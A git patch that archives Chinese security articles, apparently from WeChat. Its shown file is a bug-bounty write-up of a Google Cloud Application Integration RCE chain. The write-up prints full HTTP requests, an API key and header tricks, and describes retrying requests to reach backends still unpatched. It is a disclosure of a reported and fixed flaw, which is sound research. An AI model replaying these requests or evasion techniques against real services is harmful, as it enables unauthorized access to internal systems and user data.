From bd7a2c54cebbb5104340ca2e472c41c298e7a6fe Mon Sep 17 00:00:00 2001 From: test Date: Mon, 14 Sep 2026 09:37:12 +0000 Subject: [PATCH] =?UTF-8?q?=E6=AD=A3=E5=9C=A8=E8=8E=B7=E5=8F=96URL...=20ch?= =?UTF-8?q?ainreactors:=2010=20=E4=B8=AAURL=20BruceFeIix:=2011=20=E4=B8=AA?= =?UTF-8?q?URL=20Doonsec:=2026=20=E4=B8=AAURL=20=E6=80=BB=E5=85=B1?= =?UTF-8?q?=E5=8E=BB=E9=87=8D=E5=90=8E:=2027=20=E4=B8=AAURL=20=E5=B7=B2?= =?UTF-8?q?=E5=A4=8D=E7=8E=B0=20|=20=E6=90=9C=E7=8B=97=E8=BE=93=E5=85=A5?= =?UTF-8?q?=E6=B3=95=201-click=20RCE=E3=80=819=E6=9C=88=E7=A4=BE=E5=8C=BA?= =?UTF-8?q?=E6=8A=95=E7=A8=BF=E6=B4=BB=E5=8A=A8=20|=20=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E6=8C=96=E6=8E=98=E2=88=95AI=E6=B8=97=E9=80=8F=E2=88=95?= =?UTF-8?q?=E9=9D=A2=E8=AF=95=E7=BB=8F=E9=AA=8C=E2=88=95=E7=AE=80=E5=8E=86?= =?UTF-8?q?=E7=BC=96=E5=86=99=E3=80=81CVE-2026-88062=EF=BC=88CVSS=209.5?= =?UTF-8?q?=EF=BC=89=EF=BC=9AOmniRoute=E8=BF=9C=E7=A8=8B=E4=BB=A3=E7=A0=81?= =?UTF-8?q?=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9EPoC=E5=B7=B2=E5=85=AC?= =?UTF-8?q?=E5=BC=80=E3=80=81JeecgBoot=20=E7=A7=AF=E6=9C=A8=E6=8A=A5?= =?UTF-8?q?=E8=A1=A8=20v2.5.1=20=E6=9C=AA=E6=8E=88=E6=9D=83=20RCE=20&=20Av?= =?UTF-8?q?iator=20=E6=B2=99=E7=AE=B1=E9=80=83=E9=80=B8=E3=80=81CVE-2026-7?= =?UTF-8?q?4997=EF=BD=9CRoundcube=20Webmail=E6=8F=92=E4=BB=B6=E5=8F=AF?= =?UTF-8?q?=E5=AE=9E=E7=8E=B0=E6=9C=8D=E5=8A=A1=E5=99=A8=E8=BF=9C=E7=A8=8B?= =?UTF-8?q?=E4=BB=A3=E7=A0=81=E6=89=A7=E8=A1=8C=E3=80=81=E5=85=B3=E4=BA=8E?= =?UTF-8?q?=E8=AE=BE=E7=BD=AE=E5=BE=85=E5=AE=A1=E6=A0=B8=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E9=98=9F=E5=88=97=E7=9A=84=E5=85=AC=E5=91=8A=E3=80=81=E5=A4=A9?= =?UTF-8?q?=E5=9C=B0=E4=BC=9F=E4=B8=9AEasy7=20loadAllUserBeans=20=E4=BF=A1?= =?UTF-8?q?=E6=81=AF=E6=B3=84=E9=9C=B2=E6=BC=8F=E6=B4=9E=E3=80=812026?= =?UTF-8?q?=E5=B9=B4=E8=BF=98=E8=83=BD=E8=AE=A9Google=E6=8E=8F=E5=87=BA?= =?UTF-8?q?=E7=99=BE=E4=B8=87=E5=A5=96=E9=87=91=E7=9A=84=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E3=80=81CVE-2026-67276=20|=20RouterOS=20SSH=E5=85=AC=E9=92=A5?= =?UTF-8?q?=E8=AE=A4=E8=AF=81=E7=BB=95=E8=BF=87=E6=BC=8F=E6=B4=9E=EF=BC=88?= =?UTF-8?q?POC=EF=BC=89=E3=80=81OpenAI=20=E6=99=BA=E8=83=BD=E4=BD=93?= =?UTF-8?q?=E8=A2=AB=E6=8C=87=E7=AD=96=E5=88=92=20RubyGems=20=E6=94=BB?= =?UTF-8?q?=E5=87=BB=EF=BC=8C=E5=B9=B6=E5=9C=A8=20RubyDoc=20=E6=9C=8D?= =?UTF-8?q?=E5=8A=A1=E5=99=A8=E4=B8=8A=E5=AE=9E=E7=8E=B0=E8=BF=9C=E7=A8=8B?= =?UTF-8?q?=E4=BB=A3=E7=A0=81=E6=89=A7=E8=A1=8C=E3=80=81=E8=A3=85=E4=BA=86?= =?UTF-8?q?Foxit=EF=BC=88=E7=A6=8F=E6=98=95=E9=98=85=E8=AF=BB=E5=99=A8?= =?UTF-8?q?=EF=BC=89=E7=9A=84=E6=9C=BA=E5=99=A8=E8=A6=81=E7=9C=8B=E4=B8=80?= =?UTF-8?q?=E7=9C=BC=EF=BC=9A=20CVE-2026-57239=20=E6=8F=90=E6=9D=83?= =?UTF-8?q?=E9=93=BE=E8=A7=A3=E6=9E=90=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 13 +- ...能让Google掏出百万奖金的漏洞.md | 1859 +++++++++++++++++ ...透∕面试经验∕简历编写 (2)..md | 101 + ...OS SSH公钥认证绕过漏洞（POC）.md | 152 ++ ...件可实现服务器远程代码执行.md | 116 + ...ute远程代码执行漏洞PoC已公开.md | 32 + ....1 未授权 RCE & Aviator 沙箱逃逸.md | 776 +++++++ ...oc 服务器上实现远程代码执行.md | 266 +++ ...于设置待审核漏洞队列的公告.md | 20 + ...sy7 loadAllUserBeans 信息泄露漏洞.md | 111 + .../已复现 搜狗输入法 1-click RCE.md | 63 + ...眼： CVE-2026-57239 提权链解析.md | 356 ++++ 12 files changed, 3864 insertions(+), 1 deletion(-) create mode 100644 doc/2026-09/2026年还能让Google掏出百万奖金的漏洞.md create mode 100644 doc/2026-09/9月社区投稿活动 漏洞挖掘∕AI渗透∕面试经验∕简历编写 (2)..md create mode 100644 doc/2026-09/CVE-2026-67276 RouterOS SSH公钥认证绕过漏洞（POC）.md create mode 100644 doc/2026-09/CVE-2026-74997｜Roundcube Webmail插件可实现服务器远程代码执行.md create mode 100644 doc/2026-09/CVE-2026-88062（CVSS 9.5）：OmniRoute远程代码执行漏洞PoC已公开.md create mode 100644 doc/2026-09/JeecgBoot 积木报表 v2.5.1 未授权 RCE & Aviator 沙箱逃逸.md create mode 100644 doc/2026-09/OpenAI 智能体被指策划 RubyGems 攻击，并在 RubyDoc 服务器上实现远程代码执行.md create mode 100644 doc/2026-09/关于设置待审核漏洞队列的公告.md create mode 100644 doc/2026-09/天地伟业Easy7 loadAllUserBeans 信息泄露漏洞.md create mode 100644 doc/2026-09/已复现 搜狗输入法 1-click RCE.md create mode 100644 doc/2026-09/装了Foxit（福昕阅读器）的机器要看一眼： CVE-2026-57239 提权链解析.md diff --git a/data.json b/data.json index 07ca75a7..c55977ce 100644 --- a/data.json +++ b/data.json @@ -26791,5 +26791,16 @@ "https://mp.weixin.qq.com/s/p9As2jhdwPhJYhvxsDsidw": "SRC漏洞挖掘器 -- SRCTOOLS", "https://mp.weixin.qq.com/s/c8yOsQB9Ou5NxAxmN7-vCQ": "Android反编译核武器Droid ASC：352MB APK全局交叉引用1.79秒，发现Honor和小米两个RCE", "https://mp.weixin.qq.com/s/kz1c35vTDAdvpDEmfD_Hlg": "从越狱继续思考：LLM 危险内容生成 ≠ 真实漏洞利用", - "https://mp.weixin.qq.com/s/6RARlyW91vhFUTioivxaTQ": "Plesk 备份管理器两项漏洞直指 root：低权限账号也可能掀开整台服务器" + "https://mp.weixin.qq.com/s/6RARlyW91vhFUTioivxaTQ": "Plesk 备份管理器两项漏洞直指 root：低权限账号也可能掀开整台服务器", + "https://mp.weixin.qq.com/s/m-alNYyQLozh3Nqc8uRrwA": "已复现 | 搜狗输入法 1-click RCE", + "https://mp.weixin.qq.com/s/_ZCbCPY8iHMJWn8-ddgcog": "9月社区投稿活动 | 漏洞挖掘∕AI渗透∕面试经验∕简历编写", + "https://mp.weixin.qq.com/s/Zf77r2kyZ1xEUkYT4efb4A": "CVE-2026-88062（CVSS 9.5）：OmniRoute远程代码执行漏洞PoC已公开", + "https://mp.weixin.qq.com/s/tCGV0NhDzFW1JJHbRDNYKA": "JeecgBoot 积木报表 v2.5.1 未授权 RCE & Aviator 沙箱逃逸", + "https://mp.weixin.qq.com/s/hlm2wLHm2rjV1nkSE9XDEw": "CVE-2026-74997｜Roundcube Webmail插件可实现服务器远程代码执行", + "https://mp.weixin.qq.com/s/n1sK_tZMZCWglWOHv0Qjqg": "关于设置待审核漏洞队列的公告", + "https://mp.weixin.qq.com/s/ynTDBD7VZzOxwzofkihrCg": "天地伟业Easy7 loadAllUserBeans 信息泄露漏洞", + "https://mp.weixin.qq.com/s/4SxZ1gTgvcCe-cR5HQEvjQ": "2026年还能让Google掏出百万奖金的漏洞", + "https://mp.weixin.qq.com/s/bUnia_c25Pz72w1AkqRaZA": "CVE-2026-67276 | RouterOS SSH公钥认证绕过漏洞（POC）", + "https://mp.weixin.qq.com/s/EkS1EuHcwOU1piHT1IUnpg": "OpenAI 智能体被指策划 RubyGems 攻击，并在 RubyDoc 服务器上实现远程代码执行", + "https://mp.weixin.qq.com/s/nwlpIXUto_amyDeI1AF1QA": "装了Foxit（福昕阅读器）的机器要看一眼： CVE-2026-57239 提权链解析" } \ No newline at end of file diff --git a/doc/2026-09/2026年还能让Google掏出百万奖金的漏洞.md b/doc/2026-09/2026年还能让Google掏出百万奖金的漏洞.md new file mode 100644 index 00000000..94b1369a --- /dev/null +++ b/doc/2026-09/2026年还能让Google掏出百万奖金的漏洞.md @@ -0,0 +1,1859 @@ +# 2026年还能让Google掏出百万奖金的漏洞 +原创 一个不正经的黑客 + 一个不正经的黑客 一个不正经的黑客 2026-09-14 00:30 + +安全研究 · GOOGLE CLOUD RCE + +StubZero：Google Cloud 生产环境的两轮 RCE，与 $148,337 赏金 + +CVE-2026-2031 + +生产环境 RCE · 累计赏金 $148,337 + +一句话结论 + +一次调试接口的信息泄露，两次演变成同一类错误——把租户可控的配置直接当成 Google 内部的高权限 Stubby 调用。 + +第一轮 $60,000，第二轮 $75,000，事后又追加 $13,337。 + +一 +一条私信，两块拼图，和窗口关闭前的一小时 + +起初只是一个调试端点上的信息泄露，最后升级成 Google Cloud 生产环境的完整远程代码执行。 + +三个月后，同样的事情又来了一遍。 + +这个漏洞被分配为 CVE-2026-2031。 + +故事从我的一个自动化 fuzzing 工具报警开始：API cloudcrmipfrontend-pa.googleapis.com 对一些可疑端点返回了 200。 + +再细看，这个 API 上挂着好几个公开的调试端点。 + +![API explorer screenshot](https://mmbiz.qpic.cn/mmbiz_png/VugQCN2riaR2xRSuIOlv3jBDqnrSrZvQHclyEPAk4eb55ibIA3LDzJKVqBvpH1ibFrqwKbkVaZtB1vxO7UB9LIZJTicyoE6hiaANuqJNoXpWlKWg/640?wx_fmt=png&from=appmsg "") +![]( "") + +我用来自测 Google 内部 API 的内部 API 探索工具截图，数据来自一份 discovery document + +二 +req2proto as a Service™：proto 定义泄露 + +其中 GET /v1/integrationPlatform:listServicesByServer 这类端点似乎永远返回内部服务器错误。 + +但 /v1/integrationPlatform:getProtoDefinition 不一样——它能返回 google3（Google 内部源代码 monorepo）里任意 protobuf message 的 proto 定义，连 YouTube 这种八竿子打不着的服务也不例外。 + +● +● +● +请求 · getProtoDefinition + +GET /v1/integrationPlatform:getProtoDefinition?fullName=youtube.api.pfiinnertube.YoutubeApiInnertube.InnerTubeContext&isEnum=false HTTP/2 + +Host: cloudcrmipfrontend-pa.clients6.google.com + +Cookie: + +Authorization: SAPISIDHASH + +Origin: https://console.cloud.google.com + +X-Goog-Api-Key: AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE + +关于这里的认证 + +这个 API 用的是 Google 自家的一方认证（first-party auth）：请求里要带 Google 账号的 Cookie，还要带一个用 SAPISID cookie 计算出来的 Authorization 头，以及被列入白名单的 Origin https://console.cloud.google.com。 + +● +● +● +响应 · 解码后的 proto 描述符（节选） + +{ + +　"protoDescriptor": { + +　　"name": "InnerTubeContext", + +　　"field": [ + +　　　{ + +　　　　"name": "client", + +　　　　"number": 1, + +　　　　"label": "LABEL_OPTIONAL", + +　　　　"type": "TYPE_MESSAGE", + +　　　　"typeName": ".youtube.api.pfiinnertube.YoutubeApiInnertube.ClientInfo", + +　　　　"jsonName": "client" + +　　　}, + +　　　{ + +　　　　"name": "user", + +　　　　"number": 3, + +　　　　"label": "LABEL_OPTIONAL", + +　　　　"type": "TYPE_MESSAGE", + +　　　　"typeName": ".youtube.api.pfiinnertube.YoutubeApiInnertube.UserInfo", + +　　　　"jsonName": "user" + +　　　}, + +... + +在 Google 内部，一切都是 proto，这就是这件事的分量。 + +所有 API 在内部都是用 protobuf 定义的 gRPC 服务，这个端点等于把任意端点的请求体与响应体结构全部公开。 + +对一个像 Google 这样的黑盒目标来说，这就是一座金矿。 + +早年我写过一个工具 req2proto 专门干这个，但它只能找请求体的 proto，找不到响应体，而且还要求 API 支持 JSPB（application/json+protobuf）——大多数 API 并不支持。 + +我和朋友后来干脆把这个端点称作「req2proto as a service」：字面上就是一个托管版、而且强得多的同款工具。 + +漏洞点评 + +schema 泄露不是信息泄露的边角料，它把黑盒测试直接抬成白盒——字段、类型、嵌套结构都不用再猜，整个内部 API 的攻击面被一次性摊开。 + +后面每一个「我知道该填什么参数」，地基都在这里。 + +继续下探之前，我先看了一圈还有没有别的端点也在漏信息。 + +三 +泄露内部工作流执行队列 + +![listQuotaQueue endpoint screenshot](https://mmbiz.qpic.cn/mmbiz_jpg/VugQCN2riaR1qnfQTpvALbg8TCia2jm0TOMnicQFZiaEDy6QoekY4u9d0ibKy3NqpgicQSlLXUDkhH7j9icNl5QwUXEiaQyUkbNUx0l22sGtBD1e5icU/640?wx_fmt=jpeg&from=appmsg "") +![]( "") + +API 探索工具里的 listQuotaQueue 端点 + +一开始不带任何查询参数，这个端点只返回 INVALID_ARGUMENT。 + +试 * 之类的过滤也不管用。 + +但凭以往经验，这类 filter 参数通常允许按 google.aip.dev/160 的规范做任意过滤。 + +于是我把 filter 换成 client_id>"123"，拿到一个有意思的响应： + +● +● +● +响应 + +{ + +　"error": { + +　　"code": 500, + +　　"message": "Failed to convert server response to JSON", + +　　"status": "INTERNAL" + +　} + +} + +看起来它想返回的东西没有 JSON 映射。 + +但 Google API 支持用标准的 ?alt= 参数改变响应内容类型，比如 ?alt=proto 就会返回 protobuf。 + +唯一的问题是： + +因为我们用的是一方认证（Cookie 加 Authorization 头），请求必须打到 cloudcrmipfrontend-pa.clients6.google.com，而不是 cloudcrmipfrontend-pa.googleapis.com。 + +而 Google 不允许发往 *.google.com 的请求返回裸 proto： + +● +● +● +响应 + +Request unsafe for browser client domain: cloudcrmipfrontend-pa.clients6.google.com + +好在有绕法。 + +加上 X-Goog-Encode-Response-If-Executable: base64 头，响应就会以 base64 而不是二进制返回： + +● +● +● +请求 · listQuotaQueue + +GET /v1/integrationPlatform:listQuotaQueue?filter=client_id%3E%22123%22&alt=proto HTTP/2 + +Host: cloudcrmipfrontend-pa.clients6.google.com + +Cookie: + +Authorization: SAPISIDHASH + +Origin: https://console.cloud.google.com + +X-Goog-Api-Key: AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE + +X-Goog-Encode-Response-If-Executable: base64 + +API 返回了一大段 base64 的 protobuf。 + +用前面那个 proto 定义泄露端点取到 ListQuotaQueueResponse 的 schema 后，我把它正确解码了出来——这是一个内部工作流执行队列，里面包括把数据从 Spanner 同步到 Salesforce 的工作流： + +● +● +● +解码后的队列条目（节选） + +{ + +　"queue_items": [ + +　　{ + +　　　"queued_request": { + +　　　　"queued_request_id": "75a885e2-c611-43f7-b4e2-ae0d87bae789", + +　　　　"client_id": "default", + +　　　　"workflow_name": "WriteToSfdc", + +　　　　"priority": "CRITICAL", + +　　　　"received_timestamp": 1763057385562, + +　　　　"event_execution_info_id": "615cd9a9-9c0e-46ec-90df-91ee42ec9c37" + +　　　}, + +　　　"event_execution_info": { + +　　　　"client_id": "default", + +　　　　"workflow_name": "WriteToSfdc", + +　　　　"trigger_id": "api_trigger/WriteToSfdc", + +　　　　... + +　　　　"type_url": "type.googleapis.com/enterprise.crm.datalayer.WriteToSfdcRequest", + +　　　　... + +　　　　"sfdc_object": { + +　　　　　"vector_account": { + +　　　　　　"id": "001Kf00000wjeK3IAI", + +　　　　　　"due_diligence__c": "Pending", + +　　　　　　"due_diligence_sub_status__c": "1. PENDING DD - Initial Submission Review" + +　　　　　　... + +　　　　　} + +　　　　} + +　　　} + +　　} + +　] + +} + +拿到这些之后不久，我就把这两个漏洞报了上去。 + +几个小时后就定级为 P0/S0，还收到一句 Nice catch。 + +四 +还能再往上走吗：Stubby 与 LOAS 信任模型 + +到这我基本确信这个 API 里还有更多东西，于是开始把工作流相关的端点全看了一遍。 + +这个 API 看起来跟 Google Cloud 的 Application Integration 有关。 + +它允许你定义一个 workflow，提供 triggerConfig 说明什么条件触发它，提供 taskConfig 说明要触发什么任务。 + +最扎眼的是，discovery document 里隐约出现了一个叫 GenericStubbyTypedTask 的任务，看起来可以配置工作流去执行它——危险信号当场就亮起来了。 + +● +● +● +discovery document 里的任务配置模块（节选） + +"EnterpriseCrmEventbusProtoTaskUiModuleConfig": { + +　"description": "Task author would use this type to configure a config module.", + +　"id": "EnterpriseCrmEventbusProtoTaskUiModuleConfig", + +　"properties": { + +　　"moduleId": { + +　　　"description": "ID of the config module.", + +　　　"enum": [ + +　　　　... + +　　　　"RPC_TYPED", + +　　　　... + +　　　], + +　　　"enumDescriptions": [ + +　　　　... + +　　　　"Configures a GenericStubbyTypedTask.", + +　　　　... + +　　　], + +　　} + +　} + +} + +Google SRE 书 · 关于 Stubby + +Google 所有服务都通过一套名为 Stubby 的远程过程调用（RPC）基础设施通信，它的开源版本就是 gRPC。 + +很多时候，哪怕只是调用本地程序里的一个子例程，也会走一次 RPC——这样在需要更高模块化、或某个服务的代码库膨胀时，把调用重构到另一台服务器上会更容易。 + +按照我的理解，Borg（也就是 Google Production）遵循一套安全模型：每个 borgtask 服务都有自己的身份。 + +当你向一个 *.googleapis.com 端点发请求时，前端服务会用它自己的 prod service identity 向后端服务发起 Stubby 调用，同时把你的终端用户上下文装在一张 security ticket 里带过去。 + +如果 ticket 里带的是你的 Gaia 用户 ID，后端就会以那个用户的身份来授权。 + +时序图 · 一方 API 的信任传递：前端出借身份，后端认 ticket终端用户前端服务后端 borgtask1带 Cookie + SAPISIDHASH 调一方 API2前端用自己的 service identity 发起 Stubby 调用3用户上下文装进 security ticket 一并带过去4ticket 是 GAIA_MINT → 按该 Gaia 用户授权5查 RpcSecurityPolicy 决定是否放行唯一闸门6返回该用户有权访问的数据 + +下面是两段从 Google API 错误响应里泄露出来的 security ticket，一段匿名、一段带一方认证，可以先对比着看 peer 块的差别： + +● +● +● +security ticket · 未认证（匿名） + +com.google.apps.framework.auth.IamPermissionDeniedException: + +　IAM authority does not have the permission 'cloudprivatecatalog.targets.get' + +　required for action PrivateCatalogV1Beta1-SearchProducts + +　on resource ''.Explanation: + +Security Context: + +　ValidatedSecurityContextWithSystemAuthorizationPolicy + +　　delegate = ValidatedSecurityContextWithRegistryHandle + +　　　delegate = ValidatedSecurityContextWithObligations + +　　　　delegate = ValidatedIamSecurityContext + +　　　　　user  = anonymous + +　　　　　creds = EndUserCreds + +　　　　　　loggable_credential { + +　　　　　　　type = SERVICE_CONTROL_TOKEN + +　　　　　　} + +　　　　　　access_assertion: ANONYMOUS + +　　　　　peer = + +　　　　　　protocol                = loas + +　　　　　　level                   = strong_privacy_and_integrity + +　　　　　　host                    = jxcbu6.prod.google.com + +　　　　　　role                    = cloud-commerce-catalog + +　　　　　　user                    = cloud-boq-clientapi-catalog + +　　　　　　is_delegated            = true + +　　　　　　jobname_chosen_by_user  = prod.cloud-commerce-catalog + +● +● +● +security ticket · 一方认证（Gaia 用户） + +com.google.apps.framework.auth.IamPermissionDeniedException: + +　IAM authority does not have the permission 'resourcemanager.projects.get' + +　required for action GetServiceAccessStatus + +　on resource 'projects/613988253758'.Explanation: + +Security Context: + +　ValidatedSecurityContextWithCloudPolicyChecks + +　　delegate = ValidatedSecurityContextWithCpeContext + +　　　delegate = ValidatedSecurityContextWithObligations + +　　　　delegate = ValidatedSecurityContextWithRegistryHandle + +　　　　　delegate = ContextWithGaiaMintToken + +　　　　　　delegate = ValidatedIamSecurityContext + +　　　　　　　user  = gaiauser/0xaa22527678 + +　　　　　　　creds = EndUserCreds + +　　　　　　　　loggable_credential { + +　　　　　　　　　type = GAIA_MINT + +　　　　　　　　} + +　　　　　　　peer = + +　　　　　　　　protocol                = loas + +　　　　　　　　level                   = strong_privacy_and_integrity + +　　　　　　　　host                    = pjf8.prod.google.com + +　　　　　　　　role                    = commerceorggovernance-clh + +　　　　　　　　gaiaId                  = 640201889743 + +　　　　　　　　security_realm          = campus-dls + +　　　　　　　　is_delegated            = false + +　　　　　　　　borgcell                = pj + +　　　　　　　　jobname_chosen_by_user  = prod.commerceorggovernance-clh + +两段里 peer 块展示的都是发起内部 Stubby 调用的 prod service identity，差别只在终端用户上下文：第一张 ticket 是 ANONYMOUS；第二张携带了 GAIA_MINT 凭据。 + +你在 Google 用 Cookie 或 Bearer 认证时，凭据会被转换成一个标准的 UberMint token，内嵌 GaiaMint——意思是后端会以那个 Gaia 用户的身份授权请求。 + +这样，一次 /ContactsService.ListContacts 调用就只会返回该授权用户的联系人。 + +如果我们能以集成平台的 prod service identity 发起任意 Stubby 查询，就能访问到各种各样的 RPC，从敏感用户数据到代码执行都有，具体取决于这个 prod 用户有什么权限。 + +所以 Google 直接按 RCE 给它定级——攻击面一下大了一个量级。 + +LOAS 是什么 + +LOAS（Low Overhead Authentication System）是 Google 内部的认证与加密框架。 + +不过，就算拿到了一个 Stubby 原语，究竟哪些 RPC 能被调？ + +Google 里每个 Stubby 服务都定义了自己的 RpcSecurityPolicy，带一份按方法粒度的白名单。 + +这是 Cloud SQL Speckle Boss 进程里的一份真实配置： + +● +● +● +RpcSecurityPolicy · Cloud SQL Speckle Boss 进程 + +mapping { + +　rpc_method: "/SaasActuation.UpdateInstance" + +　rpc_method: "/MaintenancePolicyService.CreateMaintenancePolicy" + +　... + +　authentication_policy { + +　　creds_policy { + +　　　rules { + +　　　　permissions: "auth.creds.useProdUserEUC" + +　　　　action: ALLOW + +　　　　in: "mdb:zamm-exe-3-cloud-sql--default-policy" + +　　　　in: "user:speckle-tool-proxy@prod.google.com" + +　　　} + +　　　rules { + +　　　　permissions: "auth.creds.useLOAS" + +　　　　action: ALLOW + +　　　　in: "allUsers" + +　　　} + +　　} + +　} + +　authorization_mode: MANUAL_IAM + +　permission_to_check: "cloudsql.instances.rollout" + +} + +每个 mapping 块列出一组 RPC 方法，并声明哪类调用者可以用哪种凭据调用它们。 + +按这个读法，auth.creds.useLOAS 的意思是「任何 borgtask 都可以用它自己的 LOAS 身份来调」，而 auth.creds.useProdUserEUC 的意思是「只有这些特定的 MDB 组，才允许把一个 Gaia 终端用户身份（也就是一个 UberMint token）转进这次调用」。 + +permission_to_check 则告诉后端，最终解析出来的身份需要对什么 IAM 权限做校验。 + +所以即便偷到了 Stubby 原语，你也不能随手调用天下所有 RPC——只能碰到那些 RpcSecurityPolicy 允许你的 peer identity 通过的方法。 + +但即便如此，可达攻击面已经是一次巨幅扩张。 + +我第一次尝试创建工作流时，收到一个 INVALID_ARGUMENT： + +● +● +● +请求 · createDraftWorkflow + +POST /v1/integrationPlatform:createDraftWorkflow HTTP/2 + +Host: cloudcrmipfrontend-pa.clients6.google.com + +Cookie: + +Authorization: SAPISIDHASH + +Origin: https://console.cloud.google.com + +X-Goog-Api-Key: AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE + +Content-Type: application/json + +Content-Length: 197 + + +{ + +　"workflow": { + +　　"name": "my-new-workflow-test", + +　　"origin": "UI", + +　　"triggerConfigs": [], + +　　"taskConfigs": [] + +　}, + +　"isNewWorkflow": true + +} + +● +● +● +响应 + +{ + +　"error": { + +　　"code": 400, + +　　"message": "Request contains an invalid argument.", + +　　"status": "INVALID_ARGUMENT" + +　} + +} + +如果这个请求从 Google 内网发出，它会直接吐完整堆栈，而不是这种笼统的错误。 + +我怀疑是漏了一个必填参数，很可能是 clientId。 + +想起前面 listQuotaQueue 的响应里泄露过 "client_id": "default"，我把它填进去，成功了： + +● +● +● +请求 · createDraftWorkflow（带上 clientId） + +POST /v1/integrationPlatform:createDraftWorkflow HTTP/2 + +Host: cloudcrmipfrontend-pa.clients6.google.com + +Content-Type: application/json + + +{ + +　"workflow": { + +　　"name": "my-new-workflow-test", + +　　"origin": "UI", + +　　"clientId": "default", + +　　"triggerConfigs": [], + +　　"taskConfigs": [] + +　}, + +　"isNewWorkflow": true + +} + +● +● +● +响应 + +{ + +　"workflow": { + +　　"workflowId": "53b2a49c-dd5e-4e45-829b-61a3b2e8ff6e", + +　　"name": "my-new-workflow-test", + +　　"origin": "UI", + +　　"creatorEmail": "admin@gvrptest.cry.dev", + +　　"createdTime": "2025-12-01T04:19:14.449503Z", + +　　"status": "DRAFT", + +　　"snapshotNumber": "1", + +　　"tags": ["HEAD"], + +　　"lockedBy": "admin@gvrptest.cry.dev", + +　　"clientId": "default" + +　} + +} + +但要跑起一个工作流，得先发布它，而我就卡在这： + +● +● +● +请求 · publishWorkflow + +POST /v1/integrationPlatform:publishWorkflow HTTP/2 + +Host: cloudcrmipfrontend-pa.clients6.google.com + +Content-Type: application/json + + +{ + +　"workflowId": "53b2a49c-dd5e-4e45-829b-61a3b2e8ff6e" + +} + +● +● +● +响应 · 403 + +{ + +　"error": { + +　　"code": 403, + +　　"message": "Publisher admin@gvrptest.cry.dev cannot be the same as the last editor admin@gvrptest.cry.dev of the integration my-new-workflow-test with snapshot number 1 and integration ID 53b2a49c-dd5e-4e45-829b-61a3b2e8ff6e being edited from the UI. Please raise a Request to Publish and have your change approved by another person.", + +　　"status": "PERMISSION_DENIED" + +　} + +} + +我得想办法往工作流里加另一个用户，用它来发布。 + +当时我试过用 ACL 端点加账号，但没能把权限配通。 + +漏洞点评 + +「发布者不能等于最后编辑者」是一次两人审批（four-eyes）检查，但防线做在产品功能层，而不是权限系统层——只要 ACL 端点可写，两个攻击者账号就能绕过去。 + +五 +那条改变一切的私信：第一轮 RCE + +![Discord DM screenshot](https://mmbiz.qpic.cn/mmbiz_jpg/VugQCN2riaR0Z2D156bYUB9mKpzqb688rABQbHz6ywUibZjPkLjrR59iaRx4FBribMlmFXDf5sumNp0wh2dcnOLvQJUJ6q0ctibdk1w6SZxBxTFE/640?wx_fmt=jpeg&from=appmsg "") +![]( "") + +那条私信：我随口提到自己有一个能泄露 Google 内部 protobuf 定义的 bug + +初次上报一个多月后，我在一个只有几个研究员的 Discord 群里，随口说自己有个 bug 能泄露 Google 内部的 protobuf 定义。 + +就在那时，shrugged 说他也碰到了同一个 bug，我们的对话就此打开。 + +原来 shrugged 在研究另一个 bug 时，从 Application Integration 的 JavaScript 文件里看到了这些端点，也一直在查同一个 API。 + +他已经注意到 GenericStubbyTypedTask 可能是 RCE 入口，但卡在创建工作流所需的合法 client_id 上。 + +而我手里有从配额队列泄露出来的 client_id，卡在发布这一步。 + +我们很快交换了笔记： + +我把 client_id: "default" 和卡住的位置给了他，然后一起往下推。 + +一个人做不成这件事。 + +漏洞点评 + +研究卡住的时候，人容易把「我走不通」读成「这条路走不通」。 + +shrugged 卡在 client_id，另一个人卡在发布——死结正好是对方的钥匙。 + +这条链少一个人都跑不完，而它被解开，只因为一句在 Discord 群里随口说出的话。 + +Google 已经针对我最初的报告上线了修复，所以很多原始端点开始返回 PERMISSION_DENIED。 + +但很快发现，不少端点在不同服务名下有一比一的功能对应版本： + +
原始端点（已被封）
对应版本（当时仍然放行）
/v1/integrationPlatform:getProtoDefinition
/v1/integrationPlatform/workflowsupport:getProtoDefinition
/v1/integrationPlatform:runWorkflow
/v1/integrationPlatform/workflowexecution:runWorkflow
/v1/integrationPlatform:setAcl
/v1/integrationPlatform/auth:setAcl
+ +最初的修复只封掉了原始的 WorkflowEditorService 端点，没有封这些对应版本。 + +问题出在 createDraftWorkflow——我们找不到它的对应版本，它一直返回 PERMISSION_DENIED： + +● +● +● +响应 + +{ + +　"error": { + +　　"code": 403, + +　　"message": "The caller does not have permission", + +　　"status": "PERMISSION_DENIED" + +　} + +} + +奇怪的是，shrugged 跑同样的请求第一次就成功了，而我稳定地拿到 PERMISSION_DENIED。 + +这时候就明白了： + +修复还没有在所有负载均衡后端上全部生效。 + +反复重发同一个请求，就能稳定地命中一台仍然放行的后端： + +漏洞点评 + +修复上线不等于修复生效： + +灰度、多后端，任何一层没刷完，漏洞就还在，而攻击者只要重发请求，就能稳定命中漏网的那台。 + +这一次他们赢得很险——PoC 跑通后一小时，修复才真正全量。 + +再晚一点，这轮升级就只能停在理论层面。 + +● +● +● +重发命中未修复后端 + +HTTP/2 200 OK + +Content-Type: application/json; charset=UTF-8 + + +{ "workflow": { "workflowId": "c6141c63-ac7a-4350-b582-7615ef045d0c", "name": "retest", + +　"origin": "UI", "creatorEmail": "admin@gvrptest.cry.dev", "createdTime": "...", + +　"status": "DRAFT", "snapshotNumber": "1", "tags": [ "HEAD" ], + +　"lockedBy": "admin@gvrptest.cry.dev", "clientId": "default" } } + +但任务名 GenericStubbyTypedTask 似乎并不存在。 + +看 /v1/integrationPlatform:listTaskEntities 的响应（用 getProtoDefinition 拿到的 proto 定义解码），它似乎只提供 IO_TEMPLATE 类型的任务： + +● +● +● +listTaskEntities（节选） + +{ + +　"taskEntities": [ + +　　{ + +　　　"metadata": { + +　　　　"name": "Delete SFDC Record", + +　　　　"descriptiveName": "Delete Salesforce Record", + +　　　　"description": "Deletes a record in Salesforce", + +　　　　"codeSearchLink": 